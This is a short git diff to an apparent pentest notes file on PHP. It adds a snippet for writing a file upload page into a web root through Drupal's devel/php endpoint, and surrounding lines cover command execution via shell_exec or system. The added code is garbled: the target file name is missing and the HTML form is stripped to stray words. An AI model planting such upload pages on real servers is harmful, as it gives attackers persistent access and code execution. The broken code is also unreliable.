diff --git a/misc/php.md b/misc/php.md index c42c1b1..cbbde6d 100644 --- a/misc/php.md +++ b/misc/php.md @@ -1,5 +1,13 @@ ## PHP +Create a file upload page at drupal.site/devel/php +``` +$fp = fopen('/var/www/html/', 'w'); +fwrite($fp, 'Upload

Choose file


'); +fclose($fp); +``` + + ### File upload and command execution If `shell_exec` does not work, try `system`